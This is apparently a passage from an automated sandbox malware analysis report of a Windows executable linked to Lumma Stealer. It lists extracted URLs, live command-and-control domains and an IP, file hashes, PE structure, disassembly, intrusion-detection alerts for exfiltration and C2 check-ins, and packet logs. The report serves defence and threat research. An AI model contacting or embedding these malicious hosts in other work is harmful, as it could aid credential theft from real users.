https://duckduckgo.com/ac/?q=	BitLockerToGo.exe, 00000005.00000003.2437966347.0000000004E5B000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2438173649.0000000004E59000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2438068649.0000000004E59000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	BitLockerToGo.exe, 00000005.00000003.2437966347.0000000004E5B000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2438173649.0000000004E59000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2438068649.0000000004E59000.00000004.00000800.00020000.00000000.sdmp	false		high
https://kliptizq.shop/	BitLockerToGo.exe, 00000005.00000003.2591711975.0000000000745000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2592310542.0000000000745000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000002.2592834954.0000000000745000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.	BitLockerToGo.exe, 00000005.00000003.2484806953.0000000004E21000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cycahao.shop/apiVr	BitLockerToGo.exe, 00000005.00000002.2592679688.00000000006E6000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2591264065.00000000006E6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://kliptizq.shop/int_clp_ldr_sha.txt9:	BitLockerToGo.exe, 00000005.00000002.2592679688.00000000006E6000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2591264065.00000000006E6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	BitLockerToGo.exe, 00000005.00000003.2484806953.0000000004E21000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cycahao.shop/6	BitLockerToGo.exe, 00000005.00000002.2592679688.00000000006E6000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2591264065.00000000006E6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	BitLockerToGo.exe, 00000005.00000003.2437966347.0000000004E5B000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2438173649.0000000004E59000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2438068649.0000000004E59000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	BitLockerToGo.exe, 00000005.00000003.2483486401.0000000004E32000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	BitLockerToGo.exe, 00000005.00000003.2437966347.0000000004E5B000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2438173649.0000000004E59000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2438068649.0000000004E59000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	BitLockerToGo.exe, 00000005.00000003.2483486401.0000000004E32000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	BitLockerToGo.exe, 00000005.00000003.2437966347.0000000004E5B000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2438173649.0000000004E59000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2438068649.0000000004E59000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	BitLockerToGo.exe, 00000005.00000003.2484806953.0000000004E21000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	BitLockerToGo.exe, 00000005.00000003.2484501874.0000000005135000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_	BitLockerToGo.exe, 00000005.00000003.2484806953.0000000004E21000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	BitLockerToGo.exe, 00000005.00000003.2437966347.0000000004E5B000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2438173649.0000000004E59000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2438068649.0000000004E59000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cycahao.shop/	BitLockerToGo.exe, 00000005.00000003.2591264065.00000000006E6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://kliptizq.shop/int_clp_ldr_sha.txt	BitLockerToGo.exe, 00000005.00000003.2591711975.0000000000745000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2592310542.0000000000745000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000002.2592834954.0000000000745000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	BitLockerToGo.exe, 00000005.00000003.2483486401.0000000004E32000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	BitLockerToGo.exe, 00000005.00000003.2483486401.0000000004E32000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	BitLockerToGo.exe, 00000005.00000003.2437966347.0000000004E5B000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2438173649.0000000004E59000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2438068649.0000000004E59000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cycahao.shop/apibMMCEY	BitLockerToGo.exe, 00000005.00000003.2459772417.0000000004E20000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://crt.rootca1.amazontrust.com/rootca1.cer0?	BitLockerToGo.exe, 00000005.00000003.2483486401.0000000004E32000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cycahao.shop/apivVa	BitLockerToGo.exe, 00000005.00000003.2459772417.0000000004E20000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://kliptizq.shop/int_clp_ldr_sha.txtz1	BitLockerToGo.exe, 00000005.00000002.2592679688.00000000006E6000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2591264065.00000000006E6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org/products/firefoxgro.all	BitLockerToGo.exe, 00000005.00000003.2484501874.0000000005135000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	BitLockerToGo.exe, 00000005.00000003.2437966347.0000000004E5B000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2438173649.0000000004E59000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2438068649.0000000004E59000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.mozilla.or	BitLockerToGo.exe, 00000005.00000003.2484425080.0000000004E2E000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
172.67.135.139	cycahao.shop	United States		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1581196
Start date and time:	2024-12-27 08:19:12 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 1s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	6wFwugeLNG.exe renamed because original name is a hash value
Original Sample Name:	16b7635bd33367d455f26adc148dbfc3.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@6/0@2/1
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 86% Number of executed functions: 32 Number of non-executed functions: 104
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 13.107.246.63, 4.245.163.56
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target 6wFwugeLNG.exe, PID 2792 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:20:32	API Interceptor	8x Sleep call for process: BitLockerToGo.exe modified

Joe Sandbox View / Context

IPs

⊘No context

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cycahao.shop	tOE2mg8TbU.exe	Get hash	malicious	LummaC	Browse	104.21.7.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	uUtgy7BbF1.exe	Get hash	malicious	LummaC	Browse	104.21.71.155
	x4PaiRVIyM.exe	Get hash	malicious	LummaC	Browse	172.67.175.134
	3vLKNycnrz.exe	Get hash	malicious	LummaC	Browse	104.21.62.151
	installer.bat	Get hash	malicious	Vidar	Browse	172.64.41.3
	skript.bat	Get hash	malicious	Vidar	Browse	162.159.61.3
	din.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
	lem.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
	markiz.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.26.13.205
	utkin.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	172.67.74.152
	0Gs0WEGB1E.dll	Get hash	malicious	Unknown	Browse	104.21.22.88

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	uUtgy7BbF1.exe	Get hash	malicious	LummaC	Browse	172.67.135.139
	x4PaiRVIyM.exe	Get hash	malicious	LummaC	Browse	172.67.135.139
	3vLKNycnrz.exe	Get hash	malicious	LummaC	Browse	172.67.135.139
	Bootstrapper.exe	Get hash	malicious	LummaC	Browse	172.67.135.139
	NewI Upd v1.1.0.exe	Get hash	malicious	LummaC	Browse	172.67.135.139
	setup.exe	Get hash	malicious	LummaC	Browse	172.67.135.139
	exlauncher-unpadded.exe	Get hash	malicious	LummaC	Browse	172.67.135.139
	atw3.dll	Get hash	malicious	Gozi, Ursnif	Browse	172.67.135.139
	installer_1.05_36.4.zip	Get hash	malicious	NetSupport RAT, LummaC, LummaC Stealer	Browse	172.67.135.139
	0zBsv1tnt4.exe	Get hash	malicious	LummaC	Browse	172.67.135.139

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Entropy (8bit):	4.238731288797472
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	6wFwugeLNG.exe
File size:	11'141'120 bytes
MD5:	16b7635bd33367d455f26adc148dbfc3
SHA1:	0ae5aa47351d1732e9a851761ac91796364e5f53
SHA256:	5f6e9e2cb25c557c1bc5ec4d56a4d3859a06d2d70dbccff887aa7cf115a91f98
SHA512:	d4c050b5a7aae6bbf8aa176b640c0ca072308283419b9bbad9ef217e37d5da5079b0e439657b71966768bf03e39344d797823f6e9f117b0ae8768b252c24b0f4
SSDEEP:	98304:leKwA2N3ZL8ciDlpOzI0KnOddh7vtNEzUmMLm/n:MI2N3ZgcK0KnOd70n
TLSH:	83B63880F9DB04B5EA03183144A7A23F27345E058F24CB97FA5C7F5AEB77BA24932549
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........._..............P-..........I....... Z...@..........................Pd......^a...@................................

File Icon


Icon Hash:	3b6120282c4c5a1f

Static PE Info

General

Entrypoint:	0x4649c0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE, DEBUG_STRIPPED
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x0 [Thu Jan 1 00:00:00 1970 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	1
File Version Major:	6
File Version Minor:	1
Subsystem Version Major:	6
Subsystem Version Minor:	1
Import Hash:	9cbefe68f395e67356e2a5d8d1b285c0

Entrypoint Preview

Instruction
jmp 00007F60F4B0AC50h
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
mov ecx, dword ptr [esp+04h]
sub esp, 28h
mov dword ptr [esp+1Ch], ebx
mov dword ptr [esp+10h], ebp
mov dword ptr [esp+14h], esi
mov dword ptr [esp+18h], edi
mov esi, eax
mov edx, dword ptr fs:[00000014h]
cmp edx, 00000000h
jne 00007F60F4B0CFA9h
mov eax, 00000000h
jmp 00007F60F4B0D006h
mov edx, dword ptr [edx+00000000h]
cmp edx, 00000000h
jne 00007F60F4B0CFA7h
call 00007F60F4B0D099h
mov dword ptr [esp+20h], edx
mov dword ptr [esp+24h], esp
mov ebx, dword ptr [edx+18h]
mov ebx, dword ptr [ebx]
cmp edx, ebx
je 00007F60F4B0CFBAh
mov ebp, dword ptr fs:[00000014h]
mov dword ptr [ebp+00000000h], ebx
mov edi, dword ptr [ebx+1Ch]
sub edi, 28h
mov dword ptr [edi+24h], esp
mov esp, edi
mov ebx, dword ptr [ecx]
mov ecx, dword ptr [ecx+04h]
mov dword ptr [esp], ebx
mov dword ptr [esp+04h], ecx
mov dword ptr [esp+08h], edx
call esi
mov eax, dword ptr [esp+0Ch]
mov esp, dword ptr [esp+24h]
mov edx, dword ptr [esp+20h]
mov ebp, dword ptr fs:[00000014h]
mov dword ptr [ebp+00000000h], edx
mov edi, dword ptr [esp+18h]
mov esi, dword ptr [esp+14h]
mov ebp, dword ptr [esp+10h]
mov ebx, dword ptr [esp+1Ch]
add esp, 28h
retn 0004h
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
mov ecx, dword ptr [esp+04h]
mov edx, dword ptr [ecx]
mov eax, esp

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x60b000	0x3dc	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x630000	0x14c70	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x60c000	0x220e8	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x5a2820	0xa0	.data
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x2d4e55	0x2d5000	fb70d63baa5757045e50ced4a260cd96	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x2d6000	0x2cb920	0x2cba00	670ac2b218d478936498cd3952bfa6ca	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x5a2000	0x68628	0x39a00	93e15d48bdc8d14d6719de73da1d18d4	False	0.4503626626898048	data	5.675197947212246	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x60b000	0x3dc	0x400	316e6960f94a1dea81def2338192ea7c	False	0.490234375	data	4.663264085783635	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x60c000	0x220e8	0x22200	5632af940e650855b9a9e92288b55e3b	False	0.6016268887362637	data	6.6582272277435255	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.symtab	0x62f000	0x4	0x200	07b5472d347d42780469fb2654b7fc54	False	0.02734375	data	0.020393135236084953	IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.rsrc	0x630000	0x14c70	0x14e00	ed361b80b11277fa9c4dfe801f8bd6b1	False	0.8335399513473054	data	7.4262992221870086	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x6302f4	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	English	United States	0.3225609756097561
RT_ICON	0x63095c	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	United States	0.41263440860215056
RT_ICON	0x630c44	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	United States	0.5574324324324325
RT_ICON	0x630d6c	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.6223347547974414
RT_ICON	0x631c14	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States	0.7369133574007221
RT_ICON	0x6324bc	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.3829479768786127
RT_ICON	0x632a24	0xd9d2	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	1.0004662673505254
RT_ICON	0x6403f8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.5300829875518672
RT_ICON	0x6429a0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.6137429643527205
RT_ICON	0x643a48	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.425531914893617
RT_GROUP_ICON	0x643eb0	0x92	data	English	United States	0.6438356164383562
RT_VERSION	0x643f44	0x584	data	English	United States	0.26912181303116145
RT_MANIFEST	0x6444c8	0x7a8	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.3377551020408163

Imports

DLL

Import

kernel32.dll

WriteFile, WriteConsoleW, WaitForMultipleObjects, WaitForSingleObject, VirtualQuery, VirtualFree, VirtualAlloc, SwitchToThread, SuspendThread, SetWaitableTimer, SetUnhandledExceptionFilter, SetProcessPriorityBoost, SetEvent, SetErrorMode, SetConsoleCtrlHandler, ResumeThread, PostQueuedCompletionStatus, LoadLibraryA, LoadLibraryW, SetThreadContext, GetThreadContext, GetSystemInfo, GetSystemDirectoryA, GetStdHandle, GetQueuedCompletionStatusEx, GetProcessAffinityMask, GetProcAddress, GetEnvironmentStringsW, GetConsoleMode, FreeEnvironmentStringsW, ExitProcess, DuplicateHandle, CreateWaitableTimerExW, CreateThread, CreateIoCompletionPort, CreateFileA, CreateEventA, CloseHandle, AddVectoredExceptionHandler

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-27T08:20:31.189614+0100	2058277	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (cycahao .shop)	1	192.168.2.6	56750	1.1.1.1	53	UDP
2024-12-27T08:20:32.744504+0100	2058278	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cycahao .shop in TLS SNI)	1	192.168.2.6	49754	172.67.135.139	443	TCP
2024-12-27T08:20:32.744504+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49754	172.67.135.139	443	TCP
2024-12-27T08:20:33.446130+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49754	172.67.135.139	443	TCP
2024-12-27T08:20:33.446130+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49754	172.67.135.139	443	TCP
2024-12-27T08:20:34.720753+0100	2058278	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cycahao .shop in TLS SNI)	1	192.168.2.6	49761	172.67.135.139	443	TCP
2024-12-27T08:20:34.720753+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49761	172.67.135.139	443	TCP
2024-12-27T08:20:35.533896+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	49761	172.67.135.139	443	TCP
2024-12-27T08:20:35.533896+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49761	172.67.135.139	443	TCP
2024-12-27T08:20:37.107387+0100	2058278	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cycahao .shop in TLS SNI)	1	192.168.2.6	49767	172.67.135.139	443	TCP
2024-12-27T08:20:37.107387+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49767	172.67.135.139	443	TCP
2024-12-27T08:20:39.415938+0100	2058278	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cycahao .shop in TLS SNI)	1	192.168.2.6	49773	172.67.135.139	443	TCP
2024-12-27T08:20:39.415938+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49773	172.67.135.139	443	TCP
2024-12-27T08:20:41.713969+0100	2058278	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cycahao .shop in TLS SNI)	1	192.168.2.6	49779	172.67.135.139	443	TCP
2024-12-27T08:20:41.713969+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49779	172.67.135.139	443	TCP
2024-12-27T08:20:44.156009+0100	2058278	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cycahao .shop in TLS SNI)	1	192.168.2.6	49785	172.67.135.139	443	TCP
2024-12-27T08:20:44.156009+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49785	172.67.135.139	443	TCP
2024-12-27T08:20:44.906387+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	49785	172.67.135.139	443	TCP
2024-12-27T08:20:46.581923+0100	2058278	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cycahao .shop in TLS SNI)	1	192.168.2.6	49791	172.67.135.139	443	TCP
2024-12-27T08:20:46.581923+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49791	172.67.135.139	443	TCP
2024-12-27T08:20:50.072641+0100	2058278	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cycahao .shop in TLS SNI)	1	192.168.2.6	49801	172.67.135.139	443	TCP
2024-12-27T08:20:50.072641+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49801	172.67.135.139	443	TCP
2024-12-27T08:20:50.846469+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49801	172.67.135.139	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 27, 2024 08:20:31.513531923 CET	49754	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:31.513575077 CET	443	49754	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:31.513676882 CET	49754	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:31.516716957 CET	49754	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:31.516731024 CET	443	49754	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:32.744426012 CET	443	49754	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:32.744503975 CET	49754	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:32.748336077 CET	49754	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:32.748349905 CET	443	49754	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:32.748603106 CET	443	49754	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:32.794840097 CET	49754	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:32.794877052 CET	49754	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:32.794960976 CET	443	49754	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:33.446147919 CET	443	49754	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:33.446274996 CET	443	49754	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:33.446336031 CET	49754	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:33.448318958 CET	49754	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:33.448338985 CET	443	49754	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:33.448350906 CET	49754	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:33.448355913 CET	443	49754	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:33.509329081 CET	49761	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:33.509363890 CET	443	49761	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:33.509433985 CET	49761	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:33.509726048 CET	49761	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:33.509737968 CET	443	49761	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:34.720675945 CET	443	49761	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:34.720752954 CET	49761	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:34.721872091 CET	49761	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:34.721880913 CET	443	49761	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:34.722127914 CET	443	49761	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:34.723299026 CET	49761	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:34.723330975 CET	49761	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:34.723385096 CET	443	49761	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:35.533900023 CET	443	49761	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:35.533958912 CET	443	49761	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:35.533998966 CET	443	49761	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:35.534010887 CET	49761	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:35.534048080 CET	443	49761	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:35.534085989 CET	49761	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:35.534086943 CET	443	49761	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:35.534101009 CET	443	49761	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:35.534148932 CET	49761	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:35.534156084 CET	443	49761	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:35.543443918 CET	443	49761	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:35.543490887 CET	49761	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:35.543498993 CET	443	49761	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:35.551768064 CET	443	49761	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:35.551821947 CET	49761	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:35.551830053 CET	443	49761	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:35.593363047 CET	49761	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:35.593377113 CET	443	49761	172.67.135.139	192.168.2.6
